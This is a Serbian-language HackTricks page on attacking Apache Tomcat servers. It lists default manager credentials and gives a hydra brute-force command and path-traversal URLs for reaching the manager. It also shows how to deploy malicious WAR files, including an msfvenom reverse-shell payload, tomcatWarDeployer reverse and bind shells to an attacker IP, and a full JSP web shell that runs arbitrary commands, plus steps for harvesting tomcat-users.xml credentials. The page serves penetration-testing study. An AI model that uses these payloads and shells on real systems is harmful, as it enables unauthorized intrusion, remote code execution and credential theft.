hacktricks/network-services-pentesting/pentesting-web/tomcat
2024-05-05 22:40:09 +00:00
..
basic-tomcat-info.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-03-26 15:52:14 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:40:09 +00:00

Tomcat

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


Otkriće

  • Obično se pokreće na portu 8080
  • Uobičajena Tomcat greška:

Enumeracija

Identifikacija verzije

Da biste pronašli verziju Apache Tomcat-a, može se izvršiti jednostavna komanda:

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

Lokacija Datoteka Menadžera

Identifikacija tačnih lokacija /manager i /host-manager direktorijuma je ključna jer se njihova imena mogu promeniti. Preporučuje se grubo pretraživanje kako bi se locirale ove stranice.

Enumeracija Korisničkih Imena

Za Tomcat verzije starije od 6, moguće je enumerisati korisnička imena kroz:

msf> use auxiliary/scanner/http/tomcat_enum

Podrazumevani pristupni podaci

Direktorijum /manager/html je posebno osetljiv jer omogućava otpremanje i implementaciju WAR fajlova, što može dovesti do izvršenja koda. Ovaj direktorijum je zaštićen osnovnom HTTP autentifikacijom, a česti pristupni podaci su:

  • admin:admin
  • tomcat:tomcat
  • admin:
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

Ove pristupne podatke možete testirati korišćenjem:

msf> use auxiliary/scanner/http/tomcat_mgr_login

Još jedan značajan direktorijum je /manager/status, koji prikazuje verziju Tomcat-a i operativnog sistema, pomažući u identifikaciji ranjivosti.

Napad grubom silom

Za pokušaj napada grubom silom na direktorijum menadžera, može se koristiti:

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Uobičajene ranjivosti

Otkrivanje lozinke putem praćenja tragova

Pristupanje /auth.jsp može otkriti lozinku putem praćenja tragova u povoljnim okolnostima.

Dvostruko kodiranje URL adrese

Ranjivost CVE-2007-1860 u mod_jk omogućava dvostruko kodiranje URL adrese za prolazak kroz putanju, omogućavajući neovlašćen pristup upravljačkom interfejsu putem posebno oblikovane URL adrese.

Da biste pristupili upravljačkom vebu Tomcata, idite na: pathTomcat/%252E%252E/manager/html

/primeri

Apache Tomcat verzije 4.x do 7.x uključuju primere skripti koji su podložni otkrivanju informacija i napadima preko skripti sa preusmeravanjem preko stranice (XSS). Ove skripte, navedene sveobuhvatno, treba proveriti radi neovlašćenog pristupa i potencijalne eksploatacije. Pronađite više informacija ovde

  • /examples/jsp/num/numguess.jsp
  • /examples/jsp/dates/date.jsp
  • /examples/jsp/snp/snoop.jsp
  • /examples/jsp/error/error.html
  • /examples/jsp/sessions/carts.html
  • /examples/jsp/checkbox/check.html
  • /examples/jsp/colors/colors.html
  • /examples/jsp/cal/login.html
  • /examples/jsp/include/include.jsp
  • /examples/jsp/forward/forward.jsp
  • /examples/jsp/plugin/plugin.jsp
  • /examples/jsp/jsptoserv/jsptoservlet.jsp
  • /examples/jsp/simpletag/foo.jsp
  • /examples/jsp/mail/sendmail.jsp
  • /examples/servlet/HelloWorldExample
  • /examples/servlet/RequestInfoExample
  • /examples/servlet/RequestHeaderExample
  • /examples/servlet/RequestParamExample
  • /examples/servlet/CookieExample
  • /examples/servlet/JndiServlet
  • /examples/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

Eksploatacija prolaska kroz putanju

U nekim ranjivim konfiguracijama Tomcata možete dobiti pristup zaštićenim direktorijumima u Tomcatu koristeći putanju: /..;/

Na primer, možda ćete moći pristupiti stranici za upravljanje Tomcatom pristupanjem: www.vulnerable.com/lalala/..;/manager/html

Još jedan način za zaobilaženje zaštićenih putanja korišćenjem ovog trika je pristup http://www.vulnerable.com/;param=value/manager/html

RCE

Na kraju, ako imate pristup Upravljaču veb aplikacijama Tomcata, možete otpakovati i implementirati .war datoteku (izvršiti kod).

Ograničenja

Moći ćete implementirati WAR datoteku samo ako imate dovoljno privilegija (uloge: admin, manager i manager-script). Te detalje možete pronaći u tomcat-users.xml obično definisane u /usr/share/tomcat9/etc/tomcat-users.xml (varira između verzija) (videti POST odeljak).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Reverse Shell

  1. Napravite rat za implementaciju:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
  1. Postavite fajl revshell.war i pristupite mu (/revshell/):

Bind i reverse shell sa tomcatWarDeployer.py

U nekim scenarijima ovo ne radi (na primer, starije verzije sun-a)

Preuzimanje

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Obrnuti shell

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Bind shell

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Korišćenje Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Ručni metod - Veb čaura

Kreirajte index.jsp sa ovim sadržajem:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

Ručni metod 2

Preuzmite JSP web ljusku poput ove i kreirajte WAR datoteku:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Ime datoteke sa Tomcat kredencijalima je tomcat-users.xml

find / -name tomcat-users.xml 2>/dev/null

Drugi načini za prikupljanje Tomcat akreditacija:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Ostali alati za skeniranje Tomcat-a

Reference

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!